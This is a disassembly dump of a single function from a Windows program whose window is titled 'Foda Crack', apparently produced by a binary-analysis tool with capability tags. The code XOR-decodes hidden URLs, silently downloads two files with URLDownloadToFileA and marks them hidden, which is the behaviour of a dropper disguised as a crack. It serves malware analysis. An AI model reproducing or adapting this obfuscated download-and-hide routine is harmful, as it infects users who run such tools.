Function at 0x140034c70
Capabilities:
Download url
Receive data
Resolve function by parsing pe exports
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x1400dd040]
xor rax, rsp
mov qword [rbp + 0x90], rax
mov rdi, rcx
xor r15d, r15d
mov dword [rbp - 0x60], r15d
mov dword [rbp - 0x50], 0x50
mov dword [rbp - 0x4c], 0x40
lea rax, [0x140037e80]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp - 0x38], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [0x1400c9154]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], r15
lea rcx, [rbp - 0x50]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov qword [rsp + 0x58], r15
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], 0x1b3
mov dword [rsp + 0x30], 0x1f8
mov dword [rsp + 0x28], 0x64
mov dword [rsp + 0x20], 0x64
mov r9d, 0x80ce0000
lea r8, str.Foda_Crack_
mov rdx, qword [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [rdi + 0x50], rax
lea edx, [r15 - 0x10]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongW]
btr eax, 0x12
mov r8d, eax
lea edx, [r15 - 0x10]
mov rcx, qword [rdi + 0x50]
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov dword [rsp + 0x30], 0x23
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rdi + 0x50]
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rbx, qword [rdi + 0x50]
lea ecx, [r15 + 0x20]
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [rdi], rax
lea r14, [rdi + 8]
test rax, rax
je 0x140034e29
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x1c], r15
mov dword [rdi + 0x24], r15d
mov qword [rdi + 0x28], 1
mov qword [rdi + 0x44], r15
mov dword [rdi + 0x38], 1
mov dword [rdi + 0x18], r15d
mov dword [rdi + 0x3c], 1
mov dword [rdi + 0x40], 0x50
mov dword [rdi + 0x4c], 1
mov qword [rdi + 0x30], rbx
mov rcx, rax
mov rax, qword [rax]
mov r10, qword [rax + 0x80]
lea rax, [rdi + 0x10]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x40
mov r9, qword [rdi + 0x50]
xor edx, edx
lea r8d, [r15 + 1]
call r10
test eax, eax
je 0x140034e8b
mov rcx, qword [r14]
test rcx, rcx
je 0x140034e3a
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [r14], r15
mov rcx, qword [rdi]
test rcx, rcx
je 0x140034e4b
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rdi], r15
mov rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov al, 1
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.1400758e0
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov edx, 0xa
mov rcx, qword [rdi + 0x50]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rdi + 0x50]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rax, qword [0x1400e4840]
test rax, rax
je 0x140034eb6
inc dword [rax + 0x3b0]
mov ecx, 0x3f00
call fcn.140088360
mov qword [rbp - 0x60], rax
lea rcx, [rsp + 0x60]
mov qword [rbp], rcx
mov qword [rbp + 0x10], rax
test rax, rax
je 0x140034ee2
xor edx, edx
mov rcx, rax
call fcn.140003000
jmp 0x140034ee5
mov rax, r15
cmp qword [0x1400e4840], 0
jne 0x140034ef6
mov qword [0x1400e4840], rax
mov rcx, rax
call fcn.140008e10
mov rax, qword [0x1400e4840]
mov byte [rax + 0x398], 0
call fcn.140037f00
mov rbx, qword [rdi + 0x50]
lea rcx, [0x1400e48e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14003509c
lea rcx, [0x1400e48d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14003509c
mov qword [0x1400e48d0], rbx
mov rax, qword [0x1400e4840]
or dword [rax + 0xc], 6
lea rcx, str.imgui_impl_win32
mov qword [rax + 0xd8], rcx
mov qword [rax + 0x120], rbx
mov dword [rax + 0x3c], 9
mov dword [rax + 0x40], 0x25
mov dword [rax + 0x44], 0x27
mov dword [rax + 0x48], 0x26
mov dword [rax + 0x4c], 0x28
mov dword [rax + 0x50], 0x21
mov dword [rax + 0x54], 0x22
mov dword [rax + 0x58], 0x24
mov dword [rax + 0x5c], 0x23
mov dword [rax + 0x60], 0x2d
mov dword [rax + 0x64], 0x2e
mov dword [rax + 0x68], 8
mov dword [rax + 0x6c], 0x20
mov dword [rax + 0x70], 0xd
mov dword [rax + 0x74], 0x1b
mov dword [rax + 0x78], 0xd
mov dword [rax + 0x7c], 0x41
mov dword [rax + 0x80], 0x43
mov dword [rax + 0x84], 0x56
mov dword [rax + 0x88], 0x58
mov dword [rax + 0x8c], 0x59
mov dword [rax + 0x90], 0x5a
lea rax, str.xinput1_4.dll
mov qword [rsp + 0x70], rax
lea rax, str.xinput1_3.dll
mov qword [rsp + 0x78], rax
lea rax, str.xinput9_1_0.dll
mov qword [rbp - 0x80], rax
lea rax, str.xinput1_2.dll
mov qword [rbp - 0x78], rax
lea rax, str.xinput1_1.dll
mov qword [rbp - 0x70], rax
mov rbx, r15
nop dword [rax + rax]
mov rcx, qword [rsp + rbx*8 + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x14003506e
inc rbx
cmp rbx, 5
jl 0x140035050
jmp 0x14003509c
lea rdx, str.XInputGetCapabilities
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400e48c0], rax
lea rdx, str.XInputGetState
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400e48c8], rax
mov rsi, qword [r14]
mov rbx, qword [0x1400e4840]
test rbx, rbx
je 0x1400350b1
inc dword [rbx + 0x3b0]
mov ecx, 0x28
call fcn.140088360
test rax, rax
je 0x1400350df
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r15
mov dword [rax + 0x20], 0x1388
mov dword [rax + 0x24], 0x2710
jmp 0x1400350e2
mov rax, r15
mov qword [rbx + 0xf0], rax
lea rcx, str.imgui_impl_dx9
mov qword [rbx + 0xe0], rcx
or dword [rbx + 0xc], 8
mov qword [rax], rsi
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 8]
movabs rax, 0x6c594374e45189d6
mov qword [rbp], rax
movabs rbx, 0xe66d9e686a2fff3a
mov qword [rbp + 8], rbx
movabs r13, 0x30362d01a80db395
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], rbx
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp], xmm0
lea rax, [rsp + 0x70]
mov qword [rbp + 0x10], rax
lea r12, [rbp]
lea rax, [rbp]
mov rsi, 0xffffffffffffffff
nop dword [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140035160
call fcn.1400748b4
mov r14d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r15
mov edx, 7
mov qword [rbp - 0x78], rdx
mov word [rsp + 0x70], r15w
mov dword [rbp - 0x60], 4
test rsi, rsi
je 0x14003521c
cmp rsi, 0x7fffffff
ja 0x140035692
mov dword [rsp + 0x20], r15d
xor r9d, r9d
mov r8d, esi
mov rdx, r12
mov ecx, eax
call fcn.1400748dc
mov rbx, rax
mov rcx, rax
shr rcx, 0x20
test ecx, ecx
jne 0x140035698
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rsp + 0x70]
call fcn.1400317c0
lea r9, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova r9, qword [rsp + 0x70]
mov dword [rsp + 0x20], ebx
mov r8d, esi
mov rdx, r12
mov ecx, r14d
call fcn.1400748dc
shr rax, 0x20
test eax, eax
jne 0x14003569e
mov rdx, qword [rbp - 0x78]
movabs rbx, 0xe66d9e686a2fff3a
lea rcx, [rsp + 0x70]
cmp rdx, 7
cmova rcx, qword [rsp + 0x70]
call fcn.1400749f0
shr rax, 0x20
test eax, eax
jne 0x1400356a6
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x14003527d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035278
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400356b3
call fcn.140075b7c
movabs rax, 0x6c594374e45189d6
mov qword [rsp + 0x70], rax
movabs rax, 0x820cf1040458905e
mov qword [rsp + 0x78], rax
movabs rax, 0x7a61e7d32c10af32
mov qword [rbp - 0x80], rax
movabs r8, 0x451fa75a8ccbe754
mov qword [rbp - 0x78], r8
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], rbx
movabs rdx, 0x7a6182ab493edd57
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], r8
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
xorps xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp - 0x80], xmm1
movabs rax, 0x1f191772d879c7fd
mov qword [rbp + 0x50], rax
movabs r13, 0xc85fed0b05418a56
mov qword [rbp + 0x58], r13
movabs r12, 0x1f14f3ce3b11a825
mov qword [rbp + 0x60], r12
movabs r15, 0x1c71c22ae3f49327
mov qword [rbp + 0x68], r15
movabs r14, 0xc3c807580e84998
mov qword [rbp + 0x70], r14
movabs rax, 0x362abd4ab9950d23
mov qword [rbp + 0x78], rax
movabs rax, 0x93d2c7b7a445219f
mov qword [rbp + 0x80], rax
movabs rcx, 0x77b1de16b18dff58
mov qword [rbp + 0x88], rcx
movabs rax, 0x30362d01a80db395
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], r8
movabs rsi, 0x6a59d20de58c27f9
mov qword [rbp + 0x30], rsi
movabs rbx, 0x5745d124cefa691e
mov qword [rbp + 0x38], rbx
movabs rax, 0x93d2c7b7a43744fb
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rcx
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x60], xmm1
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x80]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x80], xmm1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0x50]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rax, 0x6c594374e45189d6
mov qword [rbp + 0x10], rax
movabs rax, 0xe619ff0a44579b43
mov qword [rbp + 0x18], rax
movabs rax, 0x30362d01a80db395
mov qword [rbp], rax
movabs rax, 0xe66d9e686a2fff3a
mov qword [rbp + 8], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x10], xmm0
movabs rax, 0x1f191772d879c7fd
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], r14
movabs rax, 0x5745d124ba9b0b23
mov qword [rbp - 0x68], rax
movabs r13, 0x30362d01a80db395
mov qword [rbp + 0x50], r13
movabs r12, 0xe66d9e686a2fff3a
mov qword [rbp + 0x58], r12
movabs r14, 0x7a6182ab493edd57
mov qword [rbp + 0x60], r14
movabs r15, 0x451fa75a8ccbe754
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], rsi
mov qword [rbp + 0x78], rbx
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
xorps xmm1, xmmword [rbp + 0x60]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp - 0x70], xmm0
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rbp + 0x10]
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rsi, 0x6c594374e45189d6
mov qword [rsp + 0x70], rsi
movabs rax, 0x820cf1040458905e
mov qword [rsp + 0x78], rax
movabs rax, 0x7a61e7d32c10af32
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], r15
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r12
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], r15
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
xorps xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp - 0x80], xmm1
lea edx, [rbx + 2]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov qword [rbp + 0x10], rsi
movabs rax, 0xe619ff0a44579b43
mov qword [rbp + 0x18], rax
mov qword [rbp], r13
mov qword [rbp + 8], r12
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x10], xmm0
lea edx, [rbx + 2]
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov byte [rdi + 0x68], 1
lea ecx, [rbx + 0x10]
call fcn.140075900
mov qword [rax], rdi
lea rcx, [0x1400382a0]
mov qword [rax + 8], rcx
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x1400387c0]
xor edx, edx
xor ecx, ecx
call fcn.1400884a0
mov qword [rbp], rax
test rax, rax
je 0x140035684
cmp dword [rbp + 8], ebx
je 0x140035679
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x10]
call fcn.140074890
test eax, eax
jne 0x140035679
xorps xmm0, xmm0
movdqa xmmword [rbp], xmm0
lea ecx, [rbx + 0x10]
call fcn.140075900
mov qword [rax], rdi
lea rcx, [0x1400381c0]
mov qword [rax + 8], rcx
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x1400387c0]
xor edx, edx
xor ecx, ecx
call fcn.1400884a0
mov qword [rbp], rax
test rax, rax
je 0x1400356c4
cmp dword [rbp + 8], ebx
je 0x1400356b9
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x10]
call fcn.140074890
test eax, eax
jne 0x1400356b9
jmp 0x140034e59
mov ecx, 1
call fcn.140073ea8
nop
mov dword [rbp + 8], ebx
mov ecx, 6
call fcn.140073ea8
nop
call fcn.140034440
int3
call fcn.1400344a0
int3
mov ecx, eax
call fcn.1400344a0
nop
lea r8, [rsp + 0x70]
mov edx, eax
call fcn.140034c00
nop
call fcn.14007ca70
nop
mov ecx, 1
call fcn.140073ea8
nop
mov dword [rbp + 8], ebx
mov ecx, 6
call fcn.140073ea8
int3